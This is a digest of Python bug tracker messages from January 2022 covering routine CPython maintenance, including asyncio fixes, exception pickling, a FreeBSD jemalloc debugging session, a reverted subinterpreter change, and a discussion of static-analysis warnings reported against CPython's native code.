pickle.loads(s) """" Output: called in MyException.__reduce__ ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 08:03:04 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 06 Jan 2022 13:03:04 +0000 Subject: [issue46278] AbstractEventLoop.call_* should reflect the 'context' argument In-Reply-To: <1641468962.51.0.838105430784.issue46278@roundup.psfhosted.org> Message-ID: <1641474184.37.0.171587711997.issue46278@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28636 pull_request: https://github.com/python/cpython/pull/30429 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 08:07:52 2022 From: report at bugs.python.org (Xinrong Lin) Date: Thu, 06 Jan 2022 13:07:52 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code Message-ID: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> New submission from Xinrong Lin <414039482 at qq.com>: I am currently doing some research on the security of CPython. I used the open source vulnerability analysis engine, Infer(https://fbinfer.com/), to scan the native code of CPython 3.10.0. The scan results show that there are still a number of vulnerabilities in the CPython native code, such as Null dereference, Uninitialized variable, Resource/Memory leak, etc. Moreover, I found that some of the vulnerabilities are related to Python/C API. I enclose the vulnerability report for your reference. Based on the research of the result, I tried to design a tool to automatically detect and repair vulnerabilities in CPython and make this tool available. See: https://github.com/PVMPATCH/PVMPatch Python is my favourite programming language. I sincerely hope that I can help Python become stronger and safer. I hope this discovery can be useful for you to develop Python in the future. ---------- components: Build files: CPython3.10.0_vulnerability_report.txt messages: 409841 nosy: 414039482 priority: normal severity: normal status: open title: About vulnerabilities in Cpython native code type: security versions: Python 3.10 Added file: https://bugs.python.org/file50544/CPython3.10.0_vulnerability_report.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 08:09:32 2022 From: report at bugs.python.org (Mark Shannon) Date: Thu, 06 Jan 2022 13:09:32 +0000 Subject: [issue45923] Improve performance of sys.settracing based tools. In-Reply-To: <1638185877.94.0.453545318764.issue45923@roundup.psfhosted.org> Message-ID: <1641474572.09.0.541384773586.issue45923@roundup.psfhosted.org> Mark Shannon added the comment: New changeset e028ae99ecee671c0e8a3eabb829b5b2acfc4441 by Mark Shannon in branch 'main': bpo-45923: Handle call events in bytecode (GH-30364) https://github.com/python/cpython/commit/e028ae99ecee671c0e8a3eabb829b5b2acfc4441 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 08:21:37 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 06 Jan 2022 13:21:37 +0000 Subject: [issue46278] AbstractEventLoop.call_* should reflect the 'context' argument In-Reply-To: <1641468962.51.0.838105430784.issue46278@roundup.psfhosted.org> Message-ID: <1641475297.49.0.356496968632.issue46278@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28637 pull_request: https://github.com/python/cpython/pull/30431 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 08:21:43 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 06 Jan 2022 13:21:43 +0000 Subject: [issue46278] AbstractEventLoop.call_* should reflect the 'context' argument In-Reply-To: <1641468962.51.0.838105430784.issue46278@roundup.psfhosted.org> Message-ID: <1641475303.6.0.594013520982.issue46278@roundup.psfhosted.org> miss-islington added the comment: New changeset b50e5e916a05df65ab6a255af7624b751e0fe9d1 by Kumar Aditya in branch 'main': bpo-46278: fix typo introduced in GH-30427 (GH-30430) https://github.com/python/cpython/commit/b50e5e916a05df65ab6a255af7624b751e0fe9d1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 08:21:46 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 06 Jan 2022 13:21:46 +0000 Subject: [issue46278] AbstractEventLoop.call_* should reflect the 'context' argument In-Reply-To: <1641468962.51.0.838105430784.issue46278@roundup.psfhosted.org> Message-ID: <1641475306.31.0.189517742844.issue46278@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28638 pull_request: https://github.com/python/cpython/pull/30432 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 08:22:02 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 06 Jan 2022 13:22:02 +0000 Subject: [issue37489] pickling instance which inherited from Exception with keyword only parameter In-Reply-To: <1562123551.66.0.0575103279234.issue37489@roundup.psfhosted.org> Message-ID: <1641475322.93.0.562182933538.issue37489@roundup.psfhosted.org> Irit Katriel added the comment: > I want to known [...] how to implement the logic in code 2 (passing keyword only parameter to __new__/__init__ when pickling for class inherted from Exception) This is currently a problem, see issue27015. ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> subprocess.CalledProcessError's repr changes based on kwargs, and doesn't unpickle _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 08:25:55 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 06 Jan 2022 13:25:55 +0000 Subject: [issue27015] pickling and repr of exceptions with kwargs In-Reply-To: <1463158749.5.0.182634970623.issue27015@psf.upfronthosting.co.za> Message-ID: <1641475555.22.0.145284707648.issue27015@roundup.psfhosted.org> Change by Irit Katriel : ---------- title: subprocess.CalledProcessError's repr changes based on kwargs, and doesn't unpickle -> pickling and repr of exceptions with kwargs versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 08:40:41 2022 From: report at bugs.python.org (Mark Shannon) Date: Thu, 06 Jan 2022 13:40:41 +0000 Subject: [issue46225] f_lasti behaves differently for lambdas returned from loops In-Reply-To: <1641131109.09.0.64467004573.issue46225@roundup.psfhosted.org> Message-ID: <1641476441.03.0.459446737887.issue46225@roundup.psfhosted.org> Mark Shannon added the comment: Are you using `f_lasti == -1` as a proxy for "is this an actual call or a resumption after a yield"? Ultimately PEP 669 will provide all the information you could need to differentiate different events. In the meantime... We now make all "call" events explicit in the bytecode using the new RESUME instruction. That means the following is true for *all* call events: f_lasti >= 0 code.co_code[f_lasti*2] == opcode.opmap["RESUME"] The oparg of the RESUME instruction describes the kind of "call" event. Given `oparg = code.co_code[f_lasti*2+1]`, then `oparg == 0` implies that the event is an actual call. See https://docs.python.org/3.11/library/dis.html#opcode-RESUME Does that help? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 08:47:36 2022 From: report at bugs.python.org (Mark Shannon) Date: Thu, 06 Jan 2022 13:47:36 +0000 Subject: [issue46031] add POP_JUMP_IF_NOT_NONE and POP_JUMP_IF_NONE In-Reply-To: <1639126928.63.0.63808958692.issue46031@roundup.psfhosted.org> Message-ID: <1641476856.36.0.183728955242.issue46031@roundup.psfhosted.org> Change by Mark Shannon : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 08:51:48 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 06 Jan 2022 13:51:48 +0000 Subject: [issue46278] AbstractEventLoop.call_* should reflect the 'context' argument In-Reply-To: <1641468962.51.0.838105430784.issue46278@roundup.psfhosted.org> Message-ID: <1641477108.16.0.762293463101.issue46278@roundup.psfhosted.org> miss-islington added the comment: New changeset cb0683128b8f413e0f16293752014902d4de4984 by Miss Islington (bot) in branch '3.9': bpo-46278: fix typo introduced in GH-30427 (GH-30430) https://github.com/python/cpython/commit/cb0683128b8f413e0f16293752014902d4de4984 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 08:55:40 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 06 Jan 2022 13:55:40 +0000 Subject: [issue46256] Objects __del__ called after module have been removed In-Reply-To: <1641307303.08.0.831426730362.issue46256@roundup.psfhosted.org> Message-ID: <1641477340.91.0.422061342737.issue46256@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: This doesn't look like a bug to me and is documented behavior: https://docs.python.org/3/reference/datamodel.html#object.__del__ Check this paragraph: Warning Due to the precarious circumstances under which __del__() methods are invoked, exceptions that occur during their execution are ignored, and a warning is printed to sys.stderr instead. In particular: __del__() can be invoked when arbitrary code is being executed, including from any arbitrary thread. If __del__() needs to take a lock or invoke any other blocking resource, it may deadlock as the resource may already be taken by the code that gets interrupted to execute __del__(). __del__() can be executed during interpreter shutdown. As a consequence, the global variables it needs to access (including other modules) may already have been deleted or set to None. Python guarantees that globals whose name begins with a single underscore are deleted from their module before other globals are deleted; if no other references to such globals exist, this may help in assuring that imported modules are still available at the time when the __del__() method is called. ---- Here, the object __del__ should take s strong reference to whatever is going to use to ensure is available when needed. Indeed, the standard library does this regularly, for example: https://github.com/python/cpython/blob/f4c03484da59049eb62a9bf7777b963e2267d187/Lib/asyncio/windows_utils.py#L110 I am closing it as "not a bug" but feel free to reopen if we think we missed something or I misinterpret the bug report. ---------- nosy: +pablogsal resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 08:57:33 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 06 Jan 2022 13:57:33 +0000 Subject: [issue46274] Tokenizer module does not handle backslash characters correctly In-Reply-To: <1641424367.42.0.632530824135.issue46274@roundup.psfhosted.org> Message-ID: <1641477453.14.0.585313202995.issue46274@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- title: backslash creating statement out of nothing -> Tokenizer module does not handle backslash characters correctly _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 09:22:52 2022 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 06 Jan 2022 14:22:52 +0000 Subject: [issue46272] Fix bitwise and logical terminology in python.gram In-Reply-To: <1641408885.92.0.0799891531401.issue46272@roundup.psfhosted.org> Message-ID: <1641478972.6.0.799719647416.issue46272@roundup.psfhosted.org> Mark Dickinson added the comment: > In the section "Comparison operators", all mentions of "bitwise" should be "binary". Should they? The corresponding line from https://docs.python.org/3/reference/expressions.html#comparisons is comparison ::= or_expr (comp_operator or_expr)* which seems to match: comparison[expr_ty]: | a=bitwise_or b=compare_op_bitwise_or_pair+ { ... snipped ... } | bitwise_or from the "Comparisons operators" section of the grammar. The next-higher-precedence operation after comparison operators is bitwise or, and the occurrences of "bitwise_or" look correct to me in this section. We could retitle "Comparisons operators" to "Comparison operators", though. > The section "Logical operators" should be retitled "Bitwise operators". Agreed. ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 09:24:34 2022 From: report at bugs.python.org (Christopher Vickery) Date: Thu, 06 Jan 2022 14:24:34 +0000 Subject: [issue46256] Objects __del__ called after module have been removed In-Reply-To: <1641307303.08.0.831426730362.issue46256@roundup.psfhosted.org> Message-ID: <1641479074.12.0.942291771624.issue46256@roundup.psfhosted.org> Christopher Vickery added the comment: This it very clear and totally consistent with the observed behavior. I can think of a couple of workarounds for my app (move the db access from module initialization to a function that gets invoked "on demand", or redirect sys.stderr to /dev/null just before exiting). Perhaps the Psycopg team can deal with it more directly. Many thanks to all for the time and effort taken to make clear what's happening! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 09:27:50 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 06 Jan 2022 14:27:50 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641479270.32.0.153636488994.issue46263@roundup.psfhosted.org> Christian Heimes added the comment: The test_capi check for check_pyobject_freed_is_freed() is failing because FreeBSD 14.0 uses jemalloc, which performs its own dead memory cleaning. jemalloc's free() fills freed memory with byte 0x5a, which overrides Python's 0xdd marker. $ PYTHONMALLOC=malloc_debug gdb ./python (gdb) b check_pyobject_freed_is_freed (gdb) b _PyMem_DebugRawFree (gdb) disable 2 (gdb) run -X faulthandler t.py ... Breakpoint 1, check_pyobject_freed_is_freed (self=0x800f16fe0, _unused_args=0x0) at Modules/_testcapimodule.c:5032 5032 PyObject *op = PyObject_CallNoArgs((PyObject *)&PyBaseObject_Type); (gdb) enable 2 (gdb) c Continuing. Breakpoint 2, _PyMem_DebugRawFree (ctx=0x5f8ad8 <_PyMem_Debug+96>, p=0x800e1a0a0) at Objects/obmalloc.c:2544 2544 if (p == NULL) { (gdb) n 2549 uint8_t *q = (uint8_t *)p - 2*SST; /* address returned from malloc */ (gdb) n 2552 _PyMem_DebugCheckAddress(__func__, api->api_id, p); (gdb) n 2553 nbytes = read_size_t(q); (gdb) n 2554 nbytes += PYMEM_DEBUG_EXTRA_BYTES; (gdb) n 2555 memset(q, PYMEM_DEADBYTE, nbytes); (gdb) n 2556 api->alloc.free(api->alloc.ctx, q); (gdb) p *q at 20 $18 = '\335' , (gdb) n _PyMem_RawFree (ctx=0x0, ptr=0x800e1a090) at Objects/obmalloc.c:127 127 { (gdb) n 128 free(ptr); (gdb) p free $19 = {void (void *)} 0x8006002c0 (gdb) s __free (ptr=0x800e1a090) at jemalloc_jemalloc.c:2848 2848 jemalloc_jemalloc.c: No such file or directory. (gdb) n 2851 in jemalloc_jemalloc.c (gdb) 2852 in jemalloc_jemalloc.c ... (gdb) check_pyobject_freed_is_freed (self=0x800f16fe0, _unused_args=0x0) at Modules/_testcapimodule.c:5038 5038 Py_SET_REFCNT(op, 1); (gdb) p *(char*)op at 20 $23 = 'Z' ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 09:30:07 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 06 Jan 2022 14:30:07 +0000 Subject: [issue46006] [subinterpreter] _PyUnicode_EqualToASCIIId() issue with subinterpreters In-Reply-To: <1638897146.48.0.478621354755.issue46006@roundup.psfhosted.org> Message-ID: <1641479407.25.0.182057276539.issue46006@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28639 pull_request: https://github.com/python/cpython/pull/30433 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 09:30:07 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 06 Jan 2022 14:30:07 +0000 Subject: [issue40521] [subinterpreters] Make free lists and unicode caches per-interpreter In-Reply-To: <1588693682.5.0.219755904926.issue40521@roundup.psfhosted.org> Message-ID: <1641479407.54.0.400659721566.issue40521@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28640 pull_request: https://github.com/python/cpython/pull/30433 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 09:40:00 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 06 Jan 2022 14:40:00 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641480000.9.0.906824135246.issue46263@roundup.psfhosted.org> Christian Heimes added the comment: $ PYTHONMALLOC=malloc_debug ./python t.py Traceback (most recent call last): File "/usr/home/heimes/dev/python/cpython/t.py", line 4, in _testcapi.check_pyobject_freed_is_freed() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ _testcapi.error: check_pyobject_freed_is_freed: object is not seen as freed $ echo $? 1 $ MALLOC_CONF="junk:false" PYTHONMALLOC=malloc_debug ./python t.py $ echo $? 0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 09:44:30 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Thu, 06 Jan 2022 14:44:30 +0000 Subject: [issue46278] AbstractEventLoop.call_* should reflect the 'context' argument In-Reply-To: <1641468962.51.0.838105430784.issue46278@roundup.psfhosted.org> Message-ID: <1641480270.32.0.000957850553428.issue46278@roundup.psfhosted.org> Andrew Svetlov added the comment: New changeset 861a9aaf0f517623c58ca4eb5588804b2632fcba by Miss Islington (bot) in branch '3.10': bpo-46278: fix typo introduced in GH-30427 (GH-30430) (GH-30431) https://github.com/python/cpython/commit/861a9aaf0f517623c58ca4eb5588804b2632fcba ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 09:44:55 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Thu, 06 Jan 2022 14:44:55 +0000 Subject: [issue46278] AbstractEventLoop.call_* should reflect the 'context' argument In-Reply-To: <1641468962.51.0.838105430784.issue46278@roundup.psfhosted.org> Message-ID: <1641480295.8.0.393222514488.issue46278@roundup.psfhosted.org> Change by Andrew Svetlov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 09:45:56 2022 From: report at bugs.python.org (Bob Rivoir) Date: Thu, 06 Jan 2022 14:45:56 +0000 Subject: [issue46281] Python 3.10.1 build errors on Ubuntu 18.04 Message-ID: <1641480356.22.0.0866007957527.issue46281@roundup.psfhosted.org> New submission from Bob Rivoir : _hashlib and _ssl modules failed to compile on my Ubuntu 18.04 system. Attached is a file with the error outputs. ---------- files: python-3.10.1-build-errors.txt messages: 409853 nosy: rhr242 priority: normal severity: normal status: open title: Python 3.10.1 build errors on Ubuntu 18.04 type: compile error versions: Python 3.10 Added file: https://bugs.python.org/file50545/python-3.10.1-build-errors.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 09:49:49 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 06 Jan 2022 14:49:49 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641480589.26.0.948611659579.issue46263@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +28641 stage: resolved -> patch review pull_request: https://github.com/python/cpython/pull/30434 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 09:51:20 2022 From: report at bugs.python.org (Kumar Aditya) Date: Thu, 06 Jan 2022 14:51:20 +0000 Subject: [issue46244] typing._TypeVarLike missing __slots__ In-Reply-To: <1641221264.62.0.732771718819.issue46244@roundup.psfhosted.org> Message-ID: <1641480680.75.0.625488265725.issue46244@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 09:52:25 2022 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 06 Jan 2022 14:52:25 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641480745.66.0.334311136803.issue46280@roundup.psfhosted.org> Eric V. Smith added the comment: Thank you for posting this. Some of these look like false positives. For example: #263 Parser/string_parser.c:670: error: Uninitialized Value The value read from parenstack[_] was never initialized. 668. } 669. nested_depth--; 670. int opening = (unsigned char)parenstack[nested_depth]; ^ 671. if (!((opening == '(' && ch == ')') || 672. (opening == '[' && ch == ']') || I don't see how this could be an uninitialized read, although I'm willing to be wrong. If your tool can produce patches to fix reported problems, I suggest that you create PRs for specific issues, so they can be reviewed individually. There's no way we'd review a single patch for all 673 issues that were identified. Also, looking at the first one: #0 Objects/clinic/bytearrayobject.c.h:50: error: Dead Store The value written to &noptargs (type long) is never used. 48. goto exit; 49. } 50. if (!--noptargs) { ^ 51. goto skip_optional_pos; 52. } We've discussed this before. The consensus last time was to leave code like this in place, in case other code was added after this that refers to the same pointer. Our assumption is that compilers will remove the unneeded store. Is it possible to remove Dead Stores from the output, and/or produce a separate output with just Dead Stores? I don't see how a Dead Store can be a vulnerability. ---------- nosy: +eric.smith -414039482 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 09:52:27 2022 From: report at bugs.python.org (James Gerity) Date: Thu, 06 Jan 2022 14:52:27 +0000 Subject: [issue46282] print() docs do not indicate its return value Message-ID: <1641480747.24.0.778563280527.issue46282@roundup.psfhosted.org> Change by James Gerity : ---------- assignee: docs at python components: Documentation nosy: SnoopJeDi, docs at python priority: normal severity: normal status: open title: print() docs do not indicate its return value versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 09:53:41 2022 From: report at bugs.python.org (James Gerity) Date: Thu, 06 Jan 2022 14:53:41 +0000 Subject: [issue46282] print() docs do not indicate its return value Message-ID: <1641480821.06.0.396625023129.issue46282@roundup.psfhosted.org> Change by James Gerity : ---------- keywords: +patch pull_requests: +28642 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30435 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:12:36 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 06 Jan 2022 15:12:36 +0000 Subject: [issue46006] [subinterpreter] _PyUnicode_EqualToASCIIId() issue with subinterpreters In-Reply-To: <1638897146.48.0.478621354755.issue46006@roundup.psfhosted.org> Message-ID: <1641481956.24.0.341236917146.issue46006@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 72c260cf0c71eb01eb13100b751e9d5007d00b70 by Victor Stinner in branch '3.10': [3.10] bpo-46006: Revert "bpo-40521: Per-interpreter interned strings (GH-20085)" (GH-30422) (GH-30425) https://github.com/python/cpython/commit/72c260cf0c71eb01eb13100b751e9d5007d00b70 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:12:36 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 06 Jan 2022 15:12:36 +0000 Subject: [issue40521] [subinterpreters] Make free lists and unicode caches per-interpreter In-Reply-To: <1588693682.5.0.219755904926.issue40521@roundup.psfhosted.org> Message-ID: <1641481956.42.0.208644616241.issue40521@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 72c260cf0c71eb01eb13100b751e9d5007d00b70 by Victor Stinner in branch '3.10': [3.10] bpo-46006: Revert "bpo-40521: Per-interpreter interned strings (GH-20085)" (GH-30422) (GH-30425) https://github.com/python/cpython/commit/72c260cf0c71eb01eb13100b751e9d5007d00b70 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:14:42 2022 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 06 Jan 2022 15:14:42 +0000 Subject: [issue46282] print() docs do not indicate its return value Message-ID: <1641482082.12.0.793901620769.issue46282@roundup.psfhosted.org> New submission from Steven D'Aprano : Do the print docs need to mention something so obvious? Functions and methods which operate by side-effect typically don't mention that they return None, see for example the docs for various builtin methods: https://docs.python.org/3/library/stdtypes.html#mutable-sequence-types e.g. s.append, s.clear, s.extend, s.insert, s.remove, s.reverse and likewise for list.sort, set.add, dict.clear and many others. (However, dict.update is a rare exception, it does mention that it returns None.) We should not feel it necessary to add an explicit comment to every function or method that operates by side-effect stating that they return None. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:14:57 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 06 Jan 2022 15:14:57 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641482097.15.0.946000772217.issue46263@roundup.psfhosted.org> miss-islington added the comment: New changeset a4aa52dc2801d25b6343fe2ef8de7f40ea3bc883 by Christian Heimes in branch 'main': bpo-46263: FreeBSD 14.0 jemalloc workaround for junk bytes of freed memory (GH-30434) https://github.com/python/cpython/commit/a4aa52dc2801d25b6343fe2ef8de7f40ea3bc883 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:15:00 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 06 Jan 2022 15:15:00 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641482100.21.0.969434958619.issue46263@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28643 pull_request: https://github.com/python/cpython/pull/30436 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:15:06 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 06 Jan 2022 15:15:06 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641482106.74.0.766476599329.issue46263@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28644 pull_request: https://github.com/python/cpython/pull/30437 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:17:25 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 06 Jan 2022 15:17:25 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641482245.32.0.891442367731.issue46280@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > Based on the research of the result, I tried to design a tool to automatically detect and repair vulnerabilities in CPython and make this tool available. See: You mention here that your tool automatically "repairs" the code. Could you submit a sample PR with the repairs that your tool does so we can evaluate it? ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:21:29 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 06 Jan 2022 15:21:29 +0000 Subject: [issue46283] [subinterpreters] Unicode interned strings must not be shared between interpreters In-Reply-To: <1641482482.19.0.863029352248.issue46283@roundup.psfhosted.org> Message-ID: <1641482489.12.0.683478825167.issue46283@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: +eric.snow _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:21:22 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 06 Jan 2022 15:21:22 +0000 Subject: [issue46283] [subinterpreters] Unicode interned strings must not be shared between interpreters Message-ID: <1641482482.19.0.863029352248.issue46283@roundup.psfhosted.org> New submission from STINNER Victor : My commit ea251806b8dffff11b30d2182af1e589caf88acf made Unicode interned strings per interpreter to avoid accessing the same Python object from two different interpreters, to avoid race conditions on its reference count. Problem: the change introduced the bpo-46006 regression in _PyUnicode_EqualToASCIIId() and type update_slot() functions which make the assumption that if two strings are interned and their pointers are not equal: these strings are not equal. I proposed PR 30123 to fix these two functions, but then questions have been asked about the overall goal, running multiple Python interpreters in parallel in the same process (bpo-40512): https://bugs.python.org/issue46006#msg408002 bpo-46006 was blocking the Python 3.11.0a4 release, Python 3.10 was affected and there were more and more affected projects: * jep: https://github.com/ninia/jep/issues/358 * mod_wsgi: https://github.com/GrahamDumpleton/mod_wsgi/issues/729 * weechat-matrix: https://github.com/poljar/weechat-matrix/issues/293 * Fedora issue about mod_wsgi and weechat-matrix: https://bugzilla.redhat.com/show_bug.cgi?id=2030621 So I decided to just revert the change on interned strings: * main branch: commit 35d6540c904ef07b8602ff014e520603f84b5886 * 3.10 branch: commit 72c260cf0c71eb01eb13100b751e9d5007d00b70 (with changes to keep the ABI backward compatibility) These interned strings are preventing again to run multiple interpreters in parallel, two subinterpreters must not access the same Python object: see bpo-40533. I suggest to write a PEP to explain the rationale, and reapply my commit ea251806b8dffff11b30d2182af1e589caf88acf with PR 30123. ---------- components: Subinterpreters messages: 409860 nosy: vstinner priority: normal severity: normal status: open title: [subinterpreters] Unicode interned strings must not be shared between interpreters versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:22:35 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 06 Jan 2022 15:22:35 +0000 Subject: [issue46006] [subinterpreter] _PyUnicode_EqualToASCIIId() issue with subinterpreters In-Reply-To: <1638897146.48.0.478621354755.issue46006@roundup.psfhosted.org> Message-ID: <1641482555.78.0.369781553776.issue46006@roundup.psfhosted.org> STINNER Victor added the comment: _PyUnicode_EqualToASCIIId() and type update_slot() functions are fixed in 3.10 and main branches. The regression is now fixed. But the revert reintroduces the issue on subinterpreters, so I created bpo-46283: "[subinterpreters] Unicode interned strings must not be shared between interpreters". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:24:07 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 06 Jan 2022 15:24:07 +0000 Subject: [issue40521] [subinterpreters] Make free lists and unicode caches per-interpreter In-Reply-To: <1588693682.5.0.219755904926.issue40521@roundup.psfhosted.org> Message-ID: <1641482647.88.0.456684254147.issue40521@roundup.psfhosted.org> STINNER Victor added the comment: My commit ea251806b8dffff11b30d2182af1e589caf88acf (interned strings) introduced bpo-46006 "[subinterpreter] _PyUnicode_EqualToASCIIId() issue with subinterpreters" regression. To unblock the Python 3.11.0a4 release, I just reverted the change. It reintroduces the issue, so I created bpo-46283: "[subinterpreters] Unicode interned strings must not be shared between interpreters". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:37:05 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 06 Jan 2022 15:37:05 +0000 Subject: [issue46263] FreeBSD buildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641483425.46.0.701867859807.issue46263@roundup.psfhosted.org> miss-islington added the comment: New changeset b951dec4418326c06d493020dadedf85a3b29a82 by Miss Islington (bot) in branch '3.10': bpo-46263: FreeBSD 14.0 jemalloc workaround for junk bytes of freed memory (GH-30434) https://github.com/python/cpython/commit/b951dec4418326c06d493020dadedf85a3b29a82 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:49:36 2022 From: report at bugs.python.org (Daniele Varrazzo) Date: Thu, 06 Jan 2022 15:49:36 +0000 Subject: [issue46256] Objects __del__ called after module have been removed In-Reply-To: <1641307303.08.0.831426730362.issue46256@roundup.psfhosted.org> Message-ID: 